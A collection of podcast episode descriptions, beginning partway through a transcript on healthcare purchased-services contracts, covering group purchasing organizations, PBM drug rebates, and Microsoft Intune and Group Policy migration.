nobody can sign contracts except for," whether it be your CEO, your CFO. "Send all these down and we're going to put them in a file cabinet." At least then you can go and try to find where those contractual documents are.''   10:07 Review your contracts on a minimum annual basis Brian said it's important not to let contracts auto-renew.  ‘'It's always good to have that check-in annually, even if it's just pulling the contract, making sure when does this contract terminate? That's the other thing about automated systems through contract software is that you can set those flags. “Hey, something's coming up 180 days later.” Again, with things that are just auto-renewing, that's an issue too. If you miss that window to terminate something that you do want to go out to bid for, or maybe it's a contract that you don't need anymore. And I've seen, you've probably seen it too, 180 day out clause, some of these things. So if you miss that, that's going to be a problem. As far as reviewing, it depends too on the type of service. Some of them are much more important, and so having a quarterly business review or a semiannual business review is important, and that gives the vendor time to come and showcase what it is that they're doing too, because at the end of the day, sometimes these people are coming in, they're doing great work, but nobody really knows except for that department or specific area that they're there too. So giving that face time opportunity for the vendor, especially on those critical contracts, is important as well.''   12:21 Don't assume all red flags are malicious Brian said reaching out to the vendor is important if you notice an invoice discrepancy.  ‘'I think that that's where you've got to have a little finesse, again, realizing that some of these contracts, there's a lot of relationships built in. Again, if you've got somebody that's on site providing this, odds are they built those relationships. So I always take the approach when I notice that something's not going well on my side, if I notice an invoice discrepancy or something, it's an automatic red flag, but don't assume that it's malicious, right? So the first thing that I recommend is definitely reaching out to the vendor, the supplier, the individual, whoever it is that's your point of contact and just have that conversation. Say, "Hey, we noticed that there's a deficiency here," or, "We have a question about this invoice," and give them a chance. Because again, remember, on their side, I think it's probably maybe not quite as complex as it is on ours, but I know that just the conversations that I've had with suppliers in the past is that there are mistakes made when they're sending out invoices on a monthly basis or whatever it is. Again, give them that opportunity to rectify, at least bring it to their attention, and don't assume a malicious intent, even though that's probably from a supply chain standpoint, something that we might tend to do a little bit too much, right?''   14:22 The hidden cost savings in your line-item details Brian said a detailed review of purchased services invoices can uncover significant cost savings opportunities.  ‘'At the end of the day, we're paying for whatever it is that we've signed up contractually for. And so having that actual invoice in front of you will tell you a lot of different things. Number one, you get the contract. Number two, you get the invoice. And then you start going through, does this make sense? Are things lining up? And I found some just very easy wins, things that they've been charging for, like an EVS vendor that was charging for restroom service, thousands of dollars a year, nobody knew what it was, and all they were doing is just bringing in little scent pads and not even going into the restrooms. But that was a line item that nobody had really questioned before. And so by seeing that actual invoice, again, now you're not just seeing it as X amount, now you can actually go in and see what it is that they're invoicing for. Again, correlating back to the supply chain side, we know that. We know each individual widget, case, box, each, but until you see that invoice a lot of times, if you're looking at it from a GL perspective or an expense, you don't see that line item necessarily all the way down to that detail. So it just tells you a lot. And again, maybe I'm just a nerd, but I like doing that. I like pulling those occasionally and just making sure, do the sniff test. Does this seem like everything that it should be? And then ask those questions. And again, you learn through that too. Some of the services that we have, it's like, "Oh, I didn't know that that was included." So again, that goes back to the communication with the vendor or supplier, give them opportunity to explain what it is that they're invoicing as well.''   19:05 Be inquisitive, be patient, be strategic - and build relationships  Brian said building relationships is vital in leadership.  ‘'I think the biggest thing is just like I mentioned before, be inquisitive, have patience, and be strategic. A lot of the things that we would like to get done, whether it's supply chain or in our personal lives, it takes a while. So build those relationships, know what you want to do and know that it will take time. Rome wasn't built in a day. And so when you have those opportunities come up, if you're strategic about it, that door opens a little bit, you've got all your ducks in a row, then you can walk through and say, "Hey, I've got a solution to try to fix this, because I've been working on it in the background." So I wish that there was more that I could say than that, but I know personally that's what it is. Be inquisitive, be patient, be strategic, and build those relationships. Connect with Lisa Miller on LinkedIn Connect with Jim Cagliostro on LinkedIn Connect with Brian Bartel on LinkedIn    Check out VIE Healthcare and SpendMend    You'll also hear:    From critical care to materials management, Brian's journey in healthcare: ‘'No day is the same. Hopefully we can bring efficiencies and streamline processes to avoid some of these chaotic fires that pop up, but again, every day brings this new challenge.''   A straightforward definition of purchased services: ‘'I just keep it simple. Is it a service that we're purchasing and that's usually typically some sort of a purchase or a contract or an outsource of some service that we're taking advantage of.''   The benefits of a mentor in effective contract management: ‘'If you would've just stuck me in purchased services when I left the critical care access hospital, I would've had no idea, but I had a mentor, I had somebody that was teaching me that. So rely on those people and ask those questions. Ask the department managers, your GPO. Again, I know that there are pros and cons of GPOs, but that's a great place to look too.''   What To Do Next:   Subscribe to The Economics of Healthcare and receive a special report on 15 Effective Cost Savings Strategies.   There are three ways to work with VIE Healthcare:   Benchmark a vendor contract – either an existing contract or a new agreement. We can support your team with their cost savings initiatives to add resources and expertise. We set a bold cost savings goal and work together to achieve it.  VIE can perform a cost savings opportunity assessment. We dig deep into all of your spend and uncover unique areas of cost savings.  If you are interested in learning more, the quickest way to get your questions answered is to speak with Lisa Miller at lmiller@spendmend.com or directly at 732-319-5700.  

On the show this week, Jon Jarvis, Microsoft MVP and expert in Intune, Microsoft 365 Security & Compliance (and more) joins us to answer our burning questions after his recent blog post on the site. Should you be on-boarding your older machines that pre-date your Intune implementation, or re-building them? And, what's the best way to approach migrating your existing GPOs across to Intune if you are using tooling to move your devices from AD joined to Entra ID only? And of course, a show wouldn't be complete without some of the most pressing Microsoft 365-related news, so find out about the new Copilot (and Microsoft 365 Search) features that you might find helpful if you've discovered that there's far more openly accessible SharePoint sites than first imagined..Want to stay up to date on all things Practical 365? Follow us on Twitter, Facebook, and Linkedin to stay up to date on all things Microsoft!

Experienced and outgoing leader and consultant with strong analytical skills. Demonstrated history of success in Renewables, National Accounts, GPOs, and value-add industries. Strong professional skilled in Strategic Planning, Business Process Improvement & Business Development. Out of the box thinker who gets excited by solving new problems. Patrick believes in embracing challenges head on.Our services for both our clients and candidates can be found below✔️For Employers: https://www.nenniandassoc.com/for-employers/✔️For Candidates: https://www.nenniandassoc.com/career-opportunities/✔️Consulting: https://www.nenniandassoc.com/consulting-services/✔️Executive Search: https://www.nenniandassoc.com/executive-search/Nenni and Associates on Social Media:► Follow on LinkedIn: https://www.linkedin.com/company/nenni-and-associates/► Like on Facebook: https://www.facebook.com/nenniandassoc/► Email Listing: https://www.nenniandassoc.com/join-email-list/► Subscribe to our YouTube channel: https://www.youtube.com/c/NenniAssociates 

Welcome to Episode 371 of the Microsoft Cloud IT Pro Podcast, where we'll be discussing Microsoft Intune, one of the most powerful tools for managing your organization's devices, apps, and endpoint security. In this episode, we'll start exploring the three pillars of Intune: Devices, Apps, and Endpoint Security. We'll cover what devices you can enroll, how to onboard them, and what configurations are available. Like what you hear and want to support the show? Check out our membership options. Show Notes Washington's Dream - SNL - YouTube Microsoft Intune plans and pricing Microsoft Intune licensing Device-only licenses Microsoft Intune planning guide Get started with your Microsoft Intune deployment Supported operating systems and browsers in Intune Manage endpoint security policies on devices onboarded to Microsoft Defender for Endpoint Import custom ADMX and ADML administrative templates into Microsoft Intune (public preview) Create a Settings Catalog policy using your imported GPOs in Microsoft Intune (public preview) Password and account lockout policies on Microsoft Entra Domain Services managed domains About the sponsors Intelligink utilizes their skill and passion for the Microsoft cloud to empower their customers with the freedom to focus on their core business. They partner with them to implement and administer their cloud technology deployments and solutions. Visit Intelligink.com for more info.

FTC Tries to Open Black Box of Group Purchasing and Drug Distribution David W. Johnson and Julie Murchinson break down the Federal Trade Commission's new investigation into healthcare GPOs and drug distributors and predict what the agency may find on the new episode of the 4sight Health Roundup podcast moderated by David Burda. Find all of our network podcasts on your favorite podcast platforms and be sure to subscribe and like us. Learn more at www.healthcarenowradio.com/listen/

Healthcare group purchasing and drug distribution are controlled by just a handful of GPOs and drug distributors. David W. Johnson and Julie Murchinson break down the Federal Trade Commission's new investigation and predict what the agency may find on, “FTC Tries to Open Black Box of Group Purchasing and Drug Distribution,” the new episode of the 4sight Health Roundup podcast moderated by David Burda.

In this episode, Andy and Adam discuss the transition from hybrid join to cloud native Entra Join for device management. They explain the difference between device identity and device management and how they can be managed separately. They address concerns about GPOs and highlight the importance of reevaluating device management strategies. They also discuss accessing on-premises resources, overcoming Wi-Fi authentication challenges, and the shift away from gold images. The episode concludes with a discussion on Autopilot and the gradual transition to Entra Join. Takeaways -Device identity and device management can be managed separately, allowing organizations to transition to cloud native -Entra Join without changing their device management tools. -GPOs can be migrated to Intune using the Group Policy Analyzer, and custom ADMX profiles can be created to replicate GPO settings. -Organizations should reevaluate their device management strategies and consider lighter touch management approaches that align with modern IT practices. -Accessing on-premises resources with cloud native devices is possible through network connectivity, DNS resolution, and authorized user credentials. -Wi-Fi authentication challenges can be overcome by using pre-shared keys or transitioning to modern authentication methods. -The transition to Entra Join can be done gradually, starting with information workers and frontline workers, and leaving specialized environments for later. ------------------------------------------- Youtube Video Link: ⁠⁠https://youtu.be/2BNAYJcxCJI⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ------------------------------------------- Documentation: https://learn.microsoft.com/en-us/autopilot/windows-autopilot-hybrid https://learn.microsoft.com/en-us/entra/identity/devices/device-sso-to-on-premises-resources https://learn.microsoft.com/en-us/mem/intune/configuration/group-policy-analytics ---------------------- Contact Us: Website: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://bluesecuritypod.com⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Twitter: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://twitter.com/bluesecuritypod⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Threads: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://www.threads.net/@bluesecuritypodcast⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Linkedin: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://www.linkedin.com/company/bluesecpod⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Youtube: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://www.youtube.com/c/BlueSecurityPodcast⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Twitch: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://www.twitch.tv/bluesecuritypod⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ------------------------------------------- Andy Jaw Mastodon: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://infosec.exchange/@ajawzero⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Twitter: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://twitter.com/ajawzero⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ LinkedIn: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://www.linkedin.com/in/andyjaw/⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Email: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠andy@bluesecuritypod.com⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ------------------------------------------- Adam Brewer Twitter: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://twitter.com/ajbrewer⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ LinkedIn: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://www.linkedin.com/in/adamjbrewer/⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ Email: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠adam@bluesecuritypod.com --- Send in a voice message: https://podcasters.spotify.com/pod/show/blue-security-podcast/message

In this episode of the PowerShell Podcast, featuring guest Sam Erde, we delve into a myriad of topics starting with Andrew's successful acceptance of his talk at PowerShell Summit. The episode unfolds with a spotlight on community resources. Sam Erde, our esteemed guest, shares insights into his blogging journey and his contributions to open-source projects, with a particular focus on the Locksmith module designed to uncover misconfigurations in ADCS Certificate Services. Sam also provides his unique perspective on leveraging PowerShell for various tasks. The hosts engage in a discussion about the community ethos, underscoring the importance of creating more value than capturing, and Sam shares personal experiences that have shaped his approach to community involvement. Tune in for an episode packed with valuable insights, community highlights, and the power of PowerShell in action. Guest bio and Links:  Sam Erde is a senior yak shaver and semi-professional squirrel hunter with 20+ years of experience in IT. His preferred species of yak speaks PowerShell and the squirrels are most often found huddled around Microsoft bird feeders. Much of his career has had a strong focus on Active Directory, GPOs, Exchange Server, and Microsoft 356; however, it would not be complete without an equally strong focus on coffee, puns, Oxford commas, and cybersecurity. Sam's mission is to help IT teams grow towards operational maturity around these platforms. This includes a focus on culture, technical growth, and identifying not just as systems administrators, engineers, or analysts--but as infosec professionals who may happen to work in operations. He is incredibly grateful for everything the community has taught him and hopes to contribute back at least as much as he has learned from this amazing group of people.   Watch The PowerShell Podcast on YouTube: https://www.youtube.com/watch?v=8HEhXQE3GNw https://github.com/DanGough/PoshCVE https://powershellisfun.com/2023/11/23/using-a-specific-powershell-profile-for-a-console-session-windows-terminal-powershell-ise-or-visual-studio-code/ https://discord.gg/pdq https://day3bits.com/ https://github.com/SamErde/PowerShell-Pre-Workout https://github.com/trimarcJake/Locksmith https://www.youtube.com/watch?v=4yt_oIEq1wA https://github.com/PoshCode/PowerShellPracticeAndStyle https://github.com/cunninghamp https://www.powershellgallery.com/packages/ORCA/2.8.0 https://github.com/EvotecIT/GPOZaurr https://github.com/TrimarcJake/BlueTuxedo https://github.com/techspence/ScriptSentry https://twitter.com/SamErde https://linktr.ee/SamErde  

This episode of Tips from Trestle finds us pulling together all the ingredients for creating contract success with your GPO. Aaron is joined by Tony Thanos of Navigator Group Purchasing to share insights on the world of healthcare organizations and how they're optimizing cost-saving initiatives. We learn how Tony, as the Manager of Field Implementation, is helping organizations build stronger relationships with GPOs, and the key to contract management success. But don't expect this to be a bland conversation; they also delve into the challenges operators face when optimizing their GPO partnerships. From tackling resistance to supply chain snags, they've got you covered. This is your opportunity to learn the recipe for GPO success, whether you're grappling with distribution dilemmas or simply looking for the ingredients to make your partnership thrive. So, don't miss this episode; it's packed with knowledge to elevate your healthcare game! Tony Thanos leads Navigator Group Purchasing team of Field Implementation Specialists who span across the country. He works alongside Navigator's partner Foodbuy on program-saving opportunities as well as helping source the best contracts for Navigator and their members.  Tony is a former Chef with an extensive background in senior living food service operations and is a Certified Dietary Manager (CDM), Certified Food Protection Professional (CFPP). He can be reached via email at Tony.Thanos@navigatorgpo.com TFT is Sponsored by: ⁠The Boelter Companies⁠ ⁠Navigator Group Purchasing, Inc⁠ ⁠eMenuChoice⁠ --- Send in a voice message: https://podcasters.spotify.com/pod/show/tips-from-trestle/message Support this podcast: https://podcasters.spotify.com/pod/show/tips-from-trestle/support

In this episode, we chat about a newer concept - GPOs - group purchasing organizations and dig into how and why they work with Jeff.Enjoy!⭐️ Links & Show NotesAdam NorkoScott FasanoHostGPOKeystone RetreatsJeff Iloulian

I hope you enjoy this encore episode of one of the most popular shows in the last 12 months. One of my mentors often said price is irrelevant. He said he would sell anything for any price as long as he could define the terms of the deal. During this conversation today with Scott Haas about PBMs (pharmacy benefit managers), that quote was playing in my head like an earworm. I'm henceforth gonna struggle with the term rebate to define dollars that the PBM gets back from Pharma, because, according to my guest in this healthcare podcast Scott Haas, it turns out “rebates” comprise only about 40% of those back-end dollars that some PBMs manage to score from pharma manufacturers. I don't have any insight really into this, but Scott Haas certainly does—and this is the average that he has seen in his work and that we're going to dig into today. But in sum … wow! Let me just repeat that a mere 40 cents on the dollar of the gross amount that PBMs take in “rebates” from Pharma these days winds up going back to plan sponsors, even plan sponsors who are getting “100% of the rebates.” If you didn't understand what I just said, no worries. I'm gonna explain it right now. If you did and you know the why behind all of this also, you could probably skip ahead about five minutes. Here's the backstory on this whole rebate fandango. Let's start with part one of what is a two-part transaction. So, part one: the deal between pharma manufacturers and PBMs. In general, a pharma manufacturer signs a deal with a PBM to give back whatever percentage of their gross sales revenue to the PBM at the end of the year, say. It's along the same lines as a cash-back coupon for the PBM. Why would a pharma company be up for giving cash back like this? Well, to get on a PBM's formulary, giving cash back is like the price of admission. PBMs have a lot of leverage, after all—at least the big ones. They control access to millions and millions of patient lives. So, if Pharma wants their drug to be accessible to those millions and millions of lives, they have to play the cash-back game, otherwise known as the rebate game. They have to agree to give back to the PBM a certain amount of cash on the back end. So, PBM pays Pharma's list price up front—that's the gross amount paid, based on the list price of the drug—and then after all the cash back gets toted up at the end of the year, there'll be a net price. List price or gross price minus the cash back equals net price. It's this net price that's the true kind of final price which the pharma company gets paid per script by said PBM at the end of the day. These days, most everybody pretty much knows that PBMs are getting these so-called rebates—this cash back from pharma companies that I just explained. And it's pretty common knowledge the so-called gross-to-net bubble (the gross-to-net dollar amount) is pretty huge, meaning the rebate or cash-back amount is pretty huge. And many have also noticed that the gross-to-net dollar amounts seem to be growing bigger and bigger every year. I mean, for one insulin manufacturer, consider this: Their list price, their gross price, is $350 per script. And their net price after cash back/rebates was $52 this past year. Wait ... what? After all the cash back to the PBM, the insulin manufacturer got paid 86% less than their list price—$350 went down to $52 per prescription. The PBM vacuumed up 86% of the dough for every script written for this particular brand of insulin. Okay … so, say Pharma gives $100 back to the PBM based on the terms of their deal. Call that part one of this example transaction. Here's part two: the deal between PBMs and health plans or self-insured employers. Health plans and self-insured employers are customers of the PBM. They hire PBMs to manage the pharmacy benefits for their members or employees. So, because everybody knows this whole rebate thing is going on, as part of the contracts that the PBMs put in place with their customers (meaning the health plans or employers), the PBMs tell their customers that they're going to give 100% of the rebates back to the plan/employer. So, you'd think that if the pharma manufacturer paid $100 to the PBM, that the customers of the PBM (the plan sponsors) would get the $100 back then, right? The PBM would pass on 100% of the savings, as it were, if they're saying that they're gonna give 100% of the rebates. I mean, if this is actually true, that $100 in and $100 out, then the PBM is potentially performing a useful service, right? They're lowering drug costs for their customer, the plan sponsors for their members and employees. Except … turns out, not so much. Because what is a rebate, really? A rebate can be anything the PBM defines as a rebate. And it turns out that, on average, as I said before, according to those in the know, something like $60 of that $100 is not a rebate. It's an administration fee. Or a data fee. Or an education fee. A clinical program fee. Some other name that is not rebate. As my guest Scott Haas says, the term rebate is meaningless because it can mean whatever the PBM wants it to mean. It's like inconceivable from The Princess Bride. I do not think that word rebate means what you think it means. Now it is a tangled web we weave here, and for more on why I say that, listen to the episode with Chris Sloan (Encore! EP216) entitled “How Medicare Part D Plans Became Addicted to Drug Rebates.” There's also a show with Pramod John, PhD (EP353) where we dig into, specifically, specialty drugs and rebating and so-called rebate walls. But net net, all of this probably myopic focus on rebates means that you have to keep an eagle eye out for so-called exclusions in contracts if you are a plan sponsor. So, what are exclusions? This is that whole thing where some cheap generic is excluded from a PBM formulary while some expensive brand for the same condition is on formulary. Why would a cheap generic be excluded from a PBM formulary? Simple. Cheap generics don't have rebates. PBMs lose a lot of money when some high-priced specialty drug, for example, goes generic. They might have made thousands of dollars per script on that high-priced brand by collecting its rebate. Think about that insulin example. The rebate is 86% of the cost of the drug. And everybody wonders why some cheap generic insulin or biosimilar or whatever isn't on formulary. It is not a mystery when you're dealing with for-profit enterprises built around a model of revenue maximization. So, given all this, what's my guest Scott Haas's bottom-line advice in this whole thing? If you're a health plan or employer and you're trying to negotiate a PBM contract where your spend is predictable and your contracted price promises have any meaning whatsoever, Scott Haas's advice is, you have to ensure that the contract defines the actual prices for the drugs in the contract. With absolute numbers. Not percentages off or weird formulas or the empty promise of getting an AWP or a WAC (which means average wholesale price or wholesale acquisition cost) or any of the other various acronyms for some drug pricing schema. All of these are basically shorthand for “this price could change at any moment.” There's a reason in-the-know people say AWP stands for “Ain't what's paid,” meaning ain't what's ultimately going to be paid by plan sponsors. What is necessary in PBM contracts is the final price—that number. Some digits with a dollar sign in front of them and a “per unit” after them. No acronyms and no percentage signs. Whoever gets to define the terms ultimately controls the price. So, get the price up front. As mentioned several times already, I am talking to Scott Haas, who is a senior VP over at USI Insurance Services. He's speaking today from the perspective of a plan sponsor, meaning from the point of view of a health plan, including those health plans managed by and paid for by a self-insured employer and their employees. For more information on PBMs and how drugs get adjudicated, listen to the show with AJ Loiacono (Encore! EP231), which was one of the most popular episodes over here at Relentless Health Value. Somebody on a LinkedIn post the other day commented on how much she appreciated AJ Loiacono's frank assessment of things and how she would love to go to a meeting with more people similarly telling it like it is. That's pretty much what we aim to do at every episode over here at Relentless Health Value, and AJ nails it on that objective for sure in this episode. One last thing, also on the show: Scott Haas brings up GPOs that the Big Three PBMs have been spinning up to aggregate and maximize all of those rebates that we just talked about. I discuss this exact topic at some length in another incredibly popular episode with Mike Schneider (Encore! EP288).   You can learn more at usi.com or by emailing Scott at scott.haas@usi.com.   Scott Haas has over 38 years of employee benefits experience. His background includes the development and validation of care management programs; prescription benefit management solutions; provider network evaluation, valuation, and negotiation; and underwriting. Scott started and operationalized a third-party administrator (TPA) and a pharmacy benefit manager platform from scratch. He has worked in the arena of alternative funding for most of his career. Scott's primary focus is in the area of alternative delivery and financing of healthcare other than fee for service, along with prescription benefit and healthcare risk management consulting. Scott has held officer-level positions within Blues plans and TPAs as vice president of sales and marketing, vice president of underwriting, and president. Scott has also served as a trustee for both union and non-union health and welfare and pension plans. Scott frequently shares his consulting expertise speaking at national events hosted by organizations such as Health Rosetta, the International Foundation of Employee Benefits, the Health and Welfare Plan Management Conference, the Western Pension and Benefits Conference, and the Self-Insurance Institute of America (SIIA). Scott has authored and coauthored articles on various topics over his career. Scott earned his bachelor's degree in business administration and economics from the University of Nebraska at Kearney. Scott also holds Chartered Life Underwriter (CLU) and Registered Health Underwriter (RHU) designations.   10:34 What's the major flaw with the buyer-seller relationship between plan sponsors and PBMs? 12:08 What are the five things that need to be considered in order to get a fair price from a PBM? 13:21 Why does using average wholesale price cause problems for plan sponsors? 15:10 What does it mean to put the network risk on the PBM? 17:15 What's happening with drugs moving from specialty brand to specialty generic? 19:19 “A generic is a generic; in our world, it's binary.” 23:36 “The term 100% of rebates is really irrelevant.” 23:59 What does it mean to have a minimum guarantee in drug rebates? 26:43 “When you do a line-item assessment … is it producing an optimal result in comparison to competitively achieved … pricing for generics … and for specialty?” 27:57 “Plan sponsors need to grow a backbone.” 28:40 EP342 with Christin Deacon. 29:10 Why do you need to understand your consultant's process as a plan sponsor? 29:36 Why do you need to understand formulary exclusions as a plan sponsor? 29:46 Why is it important to create a more equal PBM contract? 30:57 “Rebates inure to the benefit of the plan sponsor; they don't necessarily benefit the consumer.” 31:50 What does Scott do at USI?   You can learn more at usi.com or by emailing Scott at scott.haas@usi.com.   Scott Haas of @USIIns discusses #PBMs and #drugrebates on our #healthcarepodcast. #healthcare #podcast   Recent past interviews: Click a guest's name for their latest RHV episode! Chris Deacon, Dr Vivek Garg, Lauren Vela, Dale Folwell (Encore! EP249), Eric Gallagher, Dr Suhas Gondi, Dr Rachel Reid, Dr Amy Scanlan, Peter J. Neumann, Stacey Richter (EP400)  

Join us for an enlightening conversation with Jeff Iloulian, the CEO of HostGPO, a game-changing buying group for short-term rentals. Discover Jeff's remarkable journey from lawyer to successful vacation rental operator. He founded HostGPO to solve the challenge of sourcing high quality, affordable products for vacation rentals. By leveraging collective buying power, HostGPO transforms the industry, making it easier for operators to access top-notch products at discounted rates.In this episode, discover how HostGPO helps vacation rental owners save money in the long run by sourcing durable, commercial-grade furniture. We explore the challenges of dealing with property managers and homeowners, along with the valuable consulting and design services offered by HostGPO. Dive into the delicate balance between standardization and uniqueness in unit aesthetics. We also discuss how the COVID-19 pandemic exposed vulnerabilities in the vacation rental industry and how GPOs, like HostGPO, help alleviate decision fatigue for owners. Furthermore, we delve into the advocacy work for industry safety in vacation rentals. Tune in for insightful discussions on these topics and more, providing valuable insights for vacation rental owners!Highlights of the Episode:02:22 - Guest Intro: Jeff Iloulian02:49 – Jeff and the company06:11 – Company size and its operators07:04 – Working with hosts big and small08:15 – The process09:58 – Dealing with property managers and homeowners14:20 – Consulting and design service17:42 – Homeowners upgrading their units21:51 – Balancing standardization of units and uniqueness24:59 – Going to the all-white model28:33 – Covid exposed vacation rentals' weaknesses30:23 – Conversation with parents about transitioning from practicing law to short term rentals37:41 – Solving the decision fatigue40:57 – Advocacy work for industry42:08 – People are sleeping on safety49:44 – ClosingThis episode is brought to you by Casago, Guest Ranger, and Good Neighbor Tech.Visit AlexAndAnniesList.com to view our top picks for the best suppliers in vacation rental technology and services.Special thanks to Rev & Research for being the presenting sponsor of Alex & Annie's List.Connect with Jeff:Website | LinkedinConnect with Alex and Annie:Alex Husner | Annie HolcombeAlexAndAnniePodcast.comIf you enjoyed this episode of  ALEX & ANNIE: The Real Women Of Vacation Rentals, make sure to visit our socials, leave us a like, a comment, or share our content with the crowd! Don't forget to subscribe!LinkedIn | YouTube | Facebook | Instagram 

UnitedHealthcare makes a confounding decision that could affect countless patients starting June 1st. Gastroenterologist Dr. Bruce Hennessy joins us to discuss how new prior authorizations for colonoscopies and other screenings could delay cancer diagnosis and subsequent care. Plus, Terry and Bob dive into the healthcare news of the week, including the FTC expanding their investigation into healthcare middlemen: GPOs and PBMs.  STAT News Article: ‘Stunning' change to United's colonoscopy coverage roils physicians and patients Fierce Healthcare News Article: FTC expands probe into pharmacy benefit managers to GPOs UHC Letter Healthcare Policy Pop Episode: Crises in Drug Shortages + Medical Supplies  Need help? The successful patient is one who can get what they need when they need it. We all know insurance slows us down, so why not take matters into your own hands? Our Navigator is an online tool that allows you to search a massive network of health-related resources using your zip code so you get local results. Get proactive and become a more successful patient right now at the Patients Rising Helpline. Have a question or comment about the show, or want to suggest a show topic or share your story as a patient correspondent? Drop us a line: podcast@patientsrising.org The views and opinions expressed herein are those of the guest(s)/ author(s) and do not reflect the official policy or position of Patients Rising, nor do the views and opinions stated on this show reflect the opinions of a guest's current or previous employers.  

